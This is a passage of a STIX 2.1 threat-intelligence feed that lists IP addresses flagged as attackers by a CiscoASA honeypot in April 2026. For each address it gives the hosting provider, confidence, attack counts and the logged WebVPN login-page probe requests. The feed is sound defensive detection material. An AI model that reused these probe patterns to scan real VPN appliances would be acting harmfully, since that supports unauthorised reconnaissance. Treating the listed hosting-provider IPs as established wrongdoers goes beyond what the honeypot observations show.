          "first_seen": "2026-04-11T07:49:34.401Z",
          "last_seen": "2026-04-27T18:41:15.324Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--2ae036c4-9716-4fae-b811-1a5d0d11d61b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T07:40:22.709Z",
          "last_seen": "2026-04-24T14:34:48.212Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62005 (BlueVPS OU)",
      "id": "indicator--4a7ee349-0ba0-4aa9-95ff-4f0e1d578ab3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.19.49.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 426,
          "first_seen": "2026-04-11T07:48:57.456Z",
          "last_seen": "2026-04-28T07:26:33.724Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62005,
          "as_org": "BlueVPS OU",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 19318 (Interserver, Inc)",
      "id": "indicator--c28be33c-ecfa-4a79-a138-2abb1362b8ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '163.245.209.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 71,
          "first_seen": "2026-04-11T07:46:58.787Z",
          "last_seen": "2026-04-11T11:40:28.560Z",
          "country": "United States",
          "country_code": "US",
          "asn": 19318,
          "as_org": "Interserver, Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--969f466b-fb31-4290-a763-cdf9e38318d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T07:57:58.890Z",
          "last_seen": "2026-04-18T09:32:22.877Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--724b8293-7a16-45ec-a8ea-966ad9b11c1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T07:44:56.821Z",
          "last_seen": "2026-04-21T02:56:55.692Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--caa62295-f8d4-478c-9369-d99bddfaa499",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T07:55:01.609Z",
          "last_seen": "2026-04-29T12:56:36.686Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d5d87c43-f54a-4ed7-8f2a-1d85a5a79ffe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T07:41:04.320Z",
          "last_seen": "2026-04-29T22:14:46.035Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--53a2ca2d-a3e6-4bfe-b8bd-06fc49544388",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T07:35:35.520Z",
          "last_seen": "2026-04-21T07:12:11.940Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0fa1a8a1-9edf-4948-9e7c-00b30ec5eabd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 45,
          "first_seen": "2026-04-11T08:17:31.818Z",
          "last_seen": "2026-04-28T02:54:54.606Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 19318 (Interserver, Inc)",
      "id": "indicator--145d2d61-12fc-4da1-aa0f-59d74b939b11",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '69.164.244.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 71,
          "first_seen": "2026-04-11T07:50:19.167Z",
          "last_seen": "2026-04-11T11:43:51.472Z",
          "country": "United States",
          "country_code": "US",
          "asn": 19318,
          "as_org": "Interserver, Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--00d51d5d-ead2-4ca4-8b46-050c045cd1a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T08:51:56.026Z",
          "last_seen": "2026-04-29T12:53:08.517Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--0f8f9732-389b-4602-814e-45454d70c131",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-11T09:13:47.716Z",
          "last_seen": "2026-04-23T05:44:47.100Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--2aed992f-9add-42bf-a27c-6bf9f008e4d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T09:10:32.115Z",
          "last_seen": "2026-04-27T16:55:15.647Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d5157bc-a083-4f90-9b52-be76677ca917",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-11T08:59:42.080Z",
          "last_seen": "2026-04-11T08:59:49.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ae20c439-d84c-43ad-b90d-3b95ee463e14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T09:13:08.006Z",
          "last_seen": "2026-04-24T21:11:55.908Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a6343ead-1655-4815-bafe-5ae1c99727fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-11T08:21:47.510Z",
          "last_seen": "2026-04-27T15:42:04.483Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0cb07495-fd03-4a11-b45a-8ef956d5d08f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T08:40:02.070Z",
          "last_seen": "2026-04-29T05:08:12.150Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--26fdf4b4-aa5d-4bfc-b707-11fcd2cf88b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T08:57:21.778Z",
          "last_seen": "2026-04-24T17:54:40.888Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--31520bea-6350-480c-996b-f65a7b418615",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:20:10.000Z",
      "valid_until": "2026-05-13T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-11T08:41:47.492Z",
          "last_seen": "2026-04-29T13:44:36.734Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--08310f9f-76ab-4f49-a4a9-46fc6c2a273c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.147']",
